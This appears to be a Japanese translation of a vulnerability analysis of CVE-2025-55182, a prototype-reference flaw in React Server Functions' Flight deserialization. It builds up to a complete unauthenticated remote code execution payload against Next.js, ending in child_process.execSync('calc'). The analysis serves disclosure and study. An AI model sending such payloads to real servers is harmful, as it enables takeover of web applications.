
この脆弱性により、React Server Functions(例:Next.jsが提供するもの)において、安全でないプロトタイプ参照を通じてRCEが可能になります。
私はReactやNext.jsの専門家ではないため、ここにある情報はすべて割り引いてお読みください。
ReactはServer Functions1を提供しており、これは一種のRPC-over-HTTPと見なすことができます。これらは、隣接するピアからデータを取得して低レイテンシを確保したり、クライアントには資格情報がない認証済みリクエストを実行したりするために使用できます。
Reactは、Server Functionsに渡される値のシリアライズに、React Flight Protocol2と呼ばれるものを使用しています。
クライアントは、例えばフォームデータを介して「チャンク」をサーバーに渡します。
files = {
"0": (None, '["$1"]'),
"1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
"2": (None, '{"fruitName":"cherry"}'),
}
示されているように、これらは互いに参照を持つことができます。上記のペイロードは、サーバー上で次のようにデシリアライズされます。
{ object: 'fruit', name: 'cherry' }
この形式自体はもう少し複雑で、より複雑なシリアライズとデシリアライズを可能にしますが、実際の脆弱性を理解するための基本的な知識を提供します。
このコミット3までは、参照解決中にチャンクをたどる際(例えば、上記の例でチャンク2からfruitNameを取得するなど)、Reactは要求されたキーが実際にオブジェクトに設定されているかどうかを検証していませんでした。これにより、オブジェクトのプロトタイプ4を取得することが可能でした。
これは、次のようなペイロードで実証できます。
files = {
"0": (None, '["$1:__proto__:constructor:constructor"]'),
"1": (None, '{"x":1}'),
}
これは関数コンストラクタ5にデシリアライズされます。
[Function: Function]
ID 0のチャンクが配列ではなくオブジェクトである場合、thenキーを関数コンストラクタに設定できます。その後、オブジェクトはdecodeReplyFromBusboy関数によって返され、Next.jsによって待機されます。
// action-handler.ts:888 (pre-patch)
boundActionArguments = await decodeReplyFromBusboy(
busboy,
serverModuleMap,
{ temporaryReferences }
)
これがthenableを返す場合、呼び出し元のawaitがそれを呼び出します。これは、次のペイロードで発生します。
files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}
次のエラーが発生します。
SyntaxError: Unexpected token 'function'
at Object.Function [as then] (<anonymous>) {
digest: '1259793845'
}
このエラーは、V8がawaitされた関数を内部のresolveおよびreject関数で呼び出し、それらをtoStringした際に次のようにシリアライズされるために発生します。
function () { [native code] }
Functionコンストラクタを簡単に取得できるため、単純な方法は、ユーザー制御の値(つまり、関数のコードを文字列として)でコンストラクタを呼び出し、その後返された関数を呼び出す呼び出しガジェットを見つけることです。
関数コンストラクタを呼び出せる場所は複数あります。例えば、resolveServerReferenceでは、idが制御可能なオブジェクトであり、lastIndexOfを書き換えてユーザー制御の文字列を返すようにし(例:Array.prototype.join経由)、sliceを関数コンストラクタに書き換えることができます。しかし、この場所は機能しません。なぜなら、2回目の.slice()の呼び出しが最初の引数として数値を提供するため、私の知る限り、関数コンストラクタがそれを処理できることは決してないからです。
ここで、maple31426からの素晴らしいアイデアが登場します。getChunkがID 0のチャンクをルート参照として取得し、参照チェーンの解決を開始するとき、このまったく同じチャンクが、巧妙に細工された「偽のチャンク」に解決される可能性があります。
$@構文を使用して、チャンク1内で細工されたチャンク0を参照できます。この構文は、解決された値ではなく、「生の」チャンクを返します。
case "@":
return (
(obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
);
上記のthenの上書きと組み合わせることで、次のようなものを細工できます。
files = {
"0": (None, '{"then": "$1:__proto__:then"}'),
"1": (None, '"$@0"'),
}
ここで、チャンク0は自身の.then()を、自身の生のチャンク表現の.then()で上書きします。簡単に言えば、自身の.then()をChunk.prototype.thenで上書きします。これは、Chunkがthenableであるため存在します。
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) {
case "resolved_model":
initializeModelChunk(this);
}
// ...
上記のペイロードにより、Chunk.prototype.thenは最終的に、ID 0の細工されたチャンクとともに呼び出されます。
上記のように、偽のチャンクの.statusがresolved_modelの場合:
files = {
"0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
"1": (None, '"$@0"'),
}
initializeModelChunkに入ります。ここで、.valueがJSONとして解析され、返されたオブジェクトに対して、ID 0と1のチャンクを持つ「外部」コンテキストを使用して参照が解決されます。
function initializeModelChunk(chunk) {
// ...
var rawModel = JSON.parse(resolvedModel),
value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
// ...
この中で、外部コンテキストがすでに解決されているため、アクセスできる値が少し増えた状態で、評価の2回目のパスが行われます。
Flightプロトコルで$Bプレフィックスを持つblobデータの処理に、呼び出しガジェットがあります。
case "B":
return (
(obj = parseInt(value.slice(2), 16)),
response._formData.get(response._prefix + obj)
);
特別な_responseフィールドを使用して、細工されたチャンクのresponseプロパティを制御します。
// in initializeModelChunk
value = reviveModel(chunk._response, // ...
これにより、偽の._formDataと._prefixプロパティを持つオブジェクトを細工できます。
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"return foo; // ",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
initializeModelChunk内のtoString呼び出しで失敗するのを回避するために、.reasonを追加する必要があります。
var rootReference = -1 === chunk.reason ? void 0 : chunk.reason.toString(16), resolvedModel = chunk.value;
._formDataを関数コンストラクタに、._prefixをコードに向けることで、blobのデシリアライズにおいて関数コンストラクタの呼び出しガジェットが得られます。
response._formData.get(response._prefix + "0")
// 以下になる
Function("return foo; // 0")
細工された関数は、parseModelStringによって細工されたチャンクの.then()メソッドとして返されます。これも待機されます。なぜなら、これらすべてが単一のプロミス解決チェーン内で行われるからです。したがって、thenableを返すことにより、細工された関数が呼び出されます。これが、上記で参照された必要な呼び出しガジェットを構成します。
これらすべてを実際のRCEペイロードと組み合わせると、次のようになります。
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"process.mainModule.require('child_process').execSync('calc');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
さらに悪いことに、これらすべてはデシリアライズ中に発生し、要求されたアクションがgetActionModIdOrErrorで最初に検証される前に行われます。したがって、Next-Action: fooのようなヘッダーを設定するだけで脆弱性をトリガーできます。
https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/react.dev/reference/rsc/server-functions%3E ↩
https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/tonyalicea.dev/blog/understanding-react-server-components/%3E ↩
https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/github.com/facebook/react/pull/35277/commits/e2fd5dc6ad973dd3f220056404d0ae0a8707998d%3E ↩
https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Advanced_JavaScript_objects/Object_prototypes%3E ↩
https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/Function%3E ↩
https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/x.com/maple3142%3E